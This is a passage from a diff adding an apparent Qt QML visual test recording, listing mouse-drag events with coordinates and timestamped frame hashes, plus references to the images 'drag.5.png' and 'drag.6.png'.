+ x: -4; y: -76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3968
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3984
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4000
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4016
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4032
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4048
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4064
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4080
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4096
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4112
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4128
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4144
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: -78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4160
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: -84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4176
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -2; y: -105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 1; y: -151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4208
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4224
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4240
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4256
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4272
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4288
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4304
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4320
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4336
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4352
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4368
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Frame {
+ msec: 4384
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 3; y: -151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4400
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 4; y: -149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4416
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 5; y: -147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4432
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 5; y: -143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 6; y: -138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4448
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 7; y: -130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4464
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 9; y: -117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4480
+ hash: "668cc6d9d699b947a7c0f3ff4b26853f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 13; y: -94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 20; y: -63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "b1b54f7bf8ab9cf98d96f9b34192434b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: -24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4512
+ hash: "a6c6df34bb552249393ba208ad327691"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "a05eb803b1f1f3574a2f2e08fe37bd35"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "3c2f3db46673c2640a26832900b609cb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 65; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "d0539a9791874f48634bb3cb9f78d9db"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4576
+ hash: "f2d862a0b81e2578799d64aef2e6bddc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "295ef097845e30064c4d810a7718896c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4608
+ hash: "22a4a17d82ac402c0e8372861609ff1c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "a70e81b1435afd77b9079c58685ef9d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "d66fefd68fcd96834548c18797eee4bd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4656
+ hash: "fcc435dc6f2643cd21a7cfac078880af"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "736edfcf33245d46aaea199634896c17"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 123; y: 173
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4688
+ hash: "7b7ab312d0c6f4bfc87a2ae467324f4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 197
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "d78ce756fc27055eeee15001419b7fb5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "4f15a726939d7f489d1fe58ebb5bcd0a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 235
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 255
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "72184d71fd2fdc6786a43045db0be68f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 180; y: 274
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "3b3f3f34218bf238f310412cb8c4968d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 293
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "24c00a7154471431d43b1db957ad6424"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 221; y: 343
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4784
+ hash: "30081a33ab007ff2c7ba6cc293a5aec3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 237; y: 371
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4800
+ hash: "c6d398d42d968763c7597728e86304f2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 396
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4816
+ image: "drag.5.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 268; y: 419
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 276; y: 429
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 284; y: 438
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4832
+ hash: "101c007d0e2cf82331ba1cab4880e8a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 291; y: 448
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4848
+ hash: "72e46df7427420c5e942a97831723d3f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 307; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4864
+ hash: "4b7a009b46982a1e9e31250d7ebf0a20"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 323; y: 492
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 341; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4880
+ hash: "a3ba70933b6452fad0cdc4192e04be23"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 359; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "c2ee16182222b403f914eb5550ac6f91"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 378; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 397; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 416; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 432; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4944
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 445; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4960
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 456; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 466; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4976
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 475; y: 506
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4992
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 482; y: 505
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5008
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 488; y: 504
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 492; y: 503
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 496; y: 503
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5040
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 500; y: 502
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5056
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 507; y: 501
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5072
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 512; y: 500
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 516; y: 498
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5088
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 521; y: 494
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5104
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 525; y: 486
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5120
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 532; y: 472
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 542; y: 445
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5136
+ hash: "9356ce797d12ae076af947cd0e658551"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 553; y: 414
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5152
+ hash: "76a8d3b8465f08fdc4586c7766667eff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 563; y: 389
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5168
+ hash: "569e56ba99776d03dd3140e53bc77f56"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 569; y: 373
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 573; y: 363
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5184
+ hash: "7139c72a2458685006da79d9cf11bc44"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 577; y: 354
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5200
+ hash: "a83d5ef213edec4c8f938ab04afb5c4f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 580; y: 344
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5216
+ hash: "5533602bc8a473c162966142d4bddebd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 584; y: 321
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 586; y: 301
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5232
+ hash: "7a79d6e31874428233e9c141d70522fd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 588; y: 264
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5248
+ hash: "b14f4daeb25cd71baae36f4cec111813"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 591; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5264
+ hash: "e2b2513d2918ffb85bab5fff5a8be644"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 592; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 593; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5280
+ hash: "af0cbb3423491917db1fdaa8350d48b0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 594; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5296
+ hash: "b9c107f0a13ad37ae05b4d5f9e5f5442"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 594; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5312
+ hash: "0bbc0c7a4a40ee6b19565c04c23b565d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 594; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 593; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5328
+ hash: "49494e8526a1417c151c7cac7099b9e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 590; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5344
+ hash: "5e0839c4414cc8ddc5241c658fd3bf88"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 585; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5360
+ hash: "8f061986df633c21dcad767ee857988c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 582; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5376
+ hash: "d78c0a4fa0ccad407a565fab3a5c95b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 579; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 576; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5392
+ hash: "cee6816f84911bc2262afe28d8996719"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 573; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5408
+ hash: "2cc6cd514ef7299dd60bf1a735b81d36"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 569; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5424
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 564; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 557; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5440
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 548; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5456
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 540; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 532; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5472
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 524; y: -1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5488
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 517; y: -5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5504
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 510; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5520
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 501; y: -14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 492; y: -18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5536
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 483; y: -21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5552
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 476; y: -21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5568
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 470; y: -19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 464; y: -15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5584
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 458; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5600
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 452; y: -3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5616
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 446; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 439; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5632
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 432; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5648
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 424; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5664
+ hash: "68c40f3551d7d10e61c5ffbb6948c7e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 413; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 400; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5680
+ hash: "9bc8a652f43c0e3cae9492f5dff624e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 392; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 385; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5696
+ hash: "5465128afe72d9618cd9abc47f4ce72f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 378; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5712
+ hash: "ad739c2028caf8f89d8ae04d509c7854"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 366; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 353; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5728
+ hash: "97cd37f639a7bea76a2f68774c0753db"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 339; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5744
+ hash: "d24fc8a57dd34e6ddb726426247ec219"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 324; y: 140
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5760
+ hash: "f0454d80a51c5f2226bd45aba58dc1e9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 308; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 288; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "drag.6.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5792
+ hash: "73623f4a857fd4d5150c2eeef1341540"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 243; y: 237
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5808
+ hash: "076c4b60d9ec197950ade51e3f1be791"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 217; y: 265
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 291
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5824
+ hash: "22b7d7765c634763fa86912ea262efca"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 314
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "1267c017931bda0b88b4672f46d499e0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 331
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "b6a545e4c14b809f4ebcffbcb59a8e4f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 344
+ modifiers: 0
